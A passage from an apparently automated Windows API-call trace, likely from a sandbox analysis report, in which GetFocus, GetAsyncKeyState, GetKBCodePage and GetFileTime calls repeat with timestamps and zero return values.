dwHighDateTime=0x0)) returned 0 [0254.123] GetFocus () returned 0x0 [0254.123] GetAsyncKeyState (vKey=58) returned 0 [0254.123] GetKBCodePage () returned 0x1b5 [0254.123] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.123] GetFocus () returned 0x0 [0254.123] GetAsyncKeyState (vKey=58) returned 0 [0254.123] GetKBCodePage () returned 0x1b5 [0254.123] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.123] GetFocus () returned 0x0 [0254.123] GetAsyncKeyState (vKey=58) returned 0 [0254.123] GetKBCodePage () returned 0x1b5 [0254.123] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.123] GetFocus () returned 0x0 [0254.123] GetAsyncKeyState (vKey=58) returned 0 [0254.123] GetKBCodePage () returned 0x1b5 [0254.123] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.123] GetFocus () returned 0x0 [0254.123] GetAsyncKeyState (vKey=58) returned 0 [0254.123] GetKBCodePage () returned 0x1b5 [0254.123] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.123] GetFocus () returned 0x0 [0254.123] GetAsyncKeyState (vKey=58) returned 0 [0254.123] GetKBCodePage () returned 0x1b5 [0254.123] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.124] GetFocus () returned 0x0 [0254.124] GetAsyncKeyState (vKey=58) returned 0 [0254.124] GetKBCodePage () returned 0x1b5 [0254.124] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.124] GetFocus () returned 0x0 [0254.124] GetAsyncKeyState (vKey=58) returned 0 [0254.124] GetKBCodePage () returned 0x1b5 [0254.124] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.124] GetFocus () returned 0x0 [0254.124] GetAsyncKeyState (vKey=58) returned 0 [0254.124] GetKBCodePage () returned 0x1b5 [0254.124] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.124] GetFocus () returned 0x0 [0254.124] GetAsyncKeyState (vKey=58) returned 0 [0254.124] GetKBCodePage () returned 0x1b5 [0254.124] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.124] GetFocus () returned 0x0 [0254.124] GetAsyncKeyState (vKey=58) returned 0 [0254.124] GetKBCodePage () returned 0x1b5 [0254.124] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.124] GetFocus () returned 0x0 [0254.124] GetAsyncKeyState (vKey=58) returned 0 [0254.124] GetKBCodePage () returned 0x1b5 [0254.124] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.124] GetFocus () returned 0x0 [0254.124] GetAsyncKeyState (vKey=58) returned 0 [0254.124] GetKBCodePage () returned 0x1b5 [0254.124] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.124] GetFocus () returned 0x0 [0254.124] GetAsyncKeyState (vKey=58) returned 0 [0254.124] GetKBCodePage () returned 0x1b5 [0254.124] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.124] GetFocus () returned 0x0 [0254.124] GetAsyncKeyState (vKey=58) returned 0 [0254.124] GetKBCodePage () returned 0x1b5 [0254.124] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.125] GetFocus () returned 0x0 [0254.125] GetAsyncKeyState (vKey=58) returned 0 [0254.125] GetKBCodePage () returned 0x1b5 [0254.125] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.125] GetFocus () returned 0x0 [0254.125] GetAsyncKeyState (vKey=58) returned 0 [0254.125] GetKBCodePage () returned 0x1b5 [0254.125] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.125] GetFocus () returned 0x0 [0254.125] GetAsyncKeyState (vKey=58) returned 0 [0254.125] GetKBCodePage () returned 0x1b5 [0254.125] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.125] GetFocus () returned 0x0 [0254.125] GetAsyncKeyState (vKey=58) returned 0 [0254.125] GetKBCodePage () returned 0x1b5 [0254.125] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.125] GetFocus () returned 0x0 [0254.125] GetAsyncKeyState (vKey=58) returned 0 [0254.125] GetKBCodePage () returned 0x1b5 [0254.125] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.125] GetFocus () returned 0x0 [0254.125] GetAsyncKeyState (vKey=58) returned 0 [0254.125] GetKBCodePage () returned 0x1b5 [0254.125] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.125] GetFocus () returned 0x0 [0254.125] GetAsyncKeyState (vKey=58) returned 0 [0254.125] GetKBCodePage () returned 0x1b5 [0254.125] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.125] GetFocus () returned 0x0 [0254.125] GetAsyncKeyState (vKey=58) returned 0 [0254.125] GetKBCodePage () returned 0x1b5 [0254.125] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.125] GetFocus () returned 0x0 [0254.125] GetAsyncKeyState (vKey=58) returned 0 [0254.125] GetKBCodePage () returned 0x1b5 [0254.126] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.126] GetFocus () returned 0x0 [0254.126] GetAsyncKeyState (vKey=58) returned 0 [0254.126] GetKBCodePage () returned 0x1b5 [0254.126] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.126] GetFocus () returned 0x0 [0254.126] GetAsyncKeyState (vKey=58) returned 0 [0254.126] GetKBCodePage () returned 0x1b5 [0254.126] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.126] GetFocus () returned 0x0 [0254.126] GetAsyncKeyState (vKey=58) returned 0 [0254.126] GetKBCodePage () returned 0x1b5 [0254.126] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.126] GetFocus () returned 0x0 [0254.126] GetAsyncKeyState (vKey=58) returned 0 [0254.126] GetKBCodePage () returned 0x1b5 [0254.126] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.126] GetFocus () returned 0x0 [0254.126] GetAsyncKeyState (vKey=58) returned 0 [0254.126] GetKBCodePage () returned 0x1b5 [0254.126] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.126] GetFocus () returned 0x0 [0254.126] GetAsyncKeyState (vKey=58) returned 0 [0254.126] GetKBCodePage () returned 0x1b5 [0254.126] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.126] GetFocus () returned 0x0 [0254.126] GetAsyncKeyState (vKey=58) returned 0 [0254.126] GetKBCodePage () returned 0x1b5 [0254.126] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.126] GetFocus () returned 0x0 [0254.126] GetAsyncKeyState (vKey=58) returned 0 [0254.126] GetKBCodePage () returned 0x1b5 [0254.126] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.126] GetFocus () returned 0x0 [0254.126] GetAsyncKeyState (vKey=58) returned 0 [0254.126] GetKBCodePage () returned 0x1b5 [0254.127] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.127] GetFocus () returned 0x0 [0254.127] GetAsyncKeyState (vKey=58) returned 0 [0254.127] GetKBCodePage () returned 0x1b5 [0254.127] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.127] GetFocus () returned 0x0 [0254.127] GetAsyncKeyState (vKey=58) returned 0 [0254.127] GetKBCodePage () returned 0x1b5 [0254.127] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.127] GetFocus () returned 0x0 [0254.127] GetAsyncKeyState (vKey=58) returned 0 [0254.127] GetKBCodePage () returned 0x1b5 [0254.127] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.127] GetFocus () returned 0x0 [0254.127] GetAsyncKeyState (vKey=58) returned 0 [0254.127] GetKBCodePage () returned 0x1b5 [0254.127] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.127] GetFocus () returned 0x0 [0254.127] GetAsyncKeyState (vKey=58) returned 0 [0254.127] GetKBCodePage () returned 0x1b5 [0254.127] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.127] GetFocus () returned 0x0 [0254.127] GetAsyncKeyState (vKey=58) returned 0 [0254.127] GetKBCodePage () returned 0x1b5 [0254.127] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.127] GetFocus () returned 0x0 [0254.127] GetAsyncKeyState (vKey=58) returned 0 [0254.127] GetKBCodePage () returned 0x1b5 [0254.127] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.127] GetFocus () returned 0x0 [0254.127] GetAsyncKeyState (vKey=58) returned 0 [0254.127] GetKBCodePage () returned 0x1b5 [0254.127] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.127] GetFocus () returned 0x0 [0254.127] GetAsyncKeyState (vKey=58) returned 0 [0254.128] GetKBCodePage () returned 0x1b5 [0254.128] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.128] GetFocus () returned 0x0 [0254.128] GetAsyncKeyState (vKey=58) returned 0 [0254.128] GetKBCodePage () returned 0x1b5 [0254.128] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.128] GetFocus () returned 0x0 [0254.128] GetAsyncKeyState (vKey=58) returned 0 [0254.128] GetKBCodePage () returned 0x1b5 [0254.128] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.128] GetFocus () returned 0x0 [0254.128] GetAsyncKeyState (vKey=58) returned 0 [0254.128] GetKBCodePage () returned 0x1b5 [0254.128] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.128] GetFocus () returned 0x0 [0254.128] GetAsyncKeyState (vKey=58) returned 0 [0254.128] GetKBCodePage () returned 0x1b5 [0254.128] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.128] GetFocus () returned 0x0 [0254.128] GetAsyncKeyState (vKey=58) returned 0 [0254.128] GetKBCodePage () returned 0x1b5 [0254.128] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.128] GetFocus () returned 0x0 [0254.128] GetAsyncKeyState (vKey=58) returned 0 [0254.128] GetKBCodePage () returned 0x1b5 [0254.128] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.128] GetFocus () returned 0x0 [0254.128] GetAsyncKeyState (vKey=58) returned 0 [0254.128] GetKBCodePage () returned 0x1b5 [0254.128] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.128] GetFocus () returned 0x0 [0254.128] GetAsyncKeyState (vKey=58) returned 0 [0254.128] GetKBCodePage () returned 0x1b5 [0254.128] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.128] GetFocus () returned 0x0 [0254.128] GetAsyncKeyState (vKey=58) returned 0 [0254.129] GetKBCodePage () returned 0x1b5 [0254.129] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.129] GetFocus () returned 0x0 [0254.129] GetAsyncKeyState (vKey=58) returned 0 [0254.129] GetKBCodePage () returned 0x1b5 [0254.129] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.129] GetFocus () returned 0x0 [0254.129] GetAsyncKeyState (vKey=58) returned 0 [0254.129] GetKBCodePage () returned 0x1b5 [0254.129] GetFileTime (in: hFile=0x60cf7a, 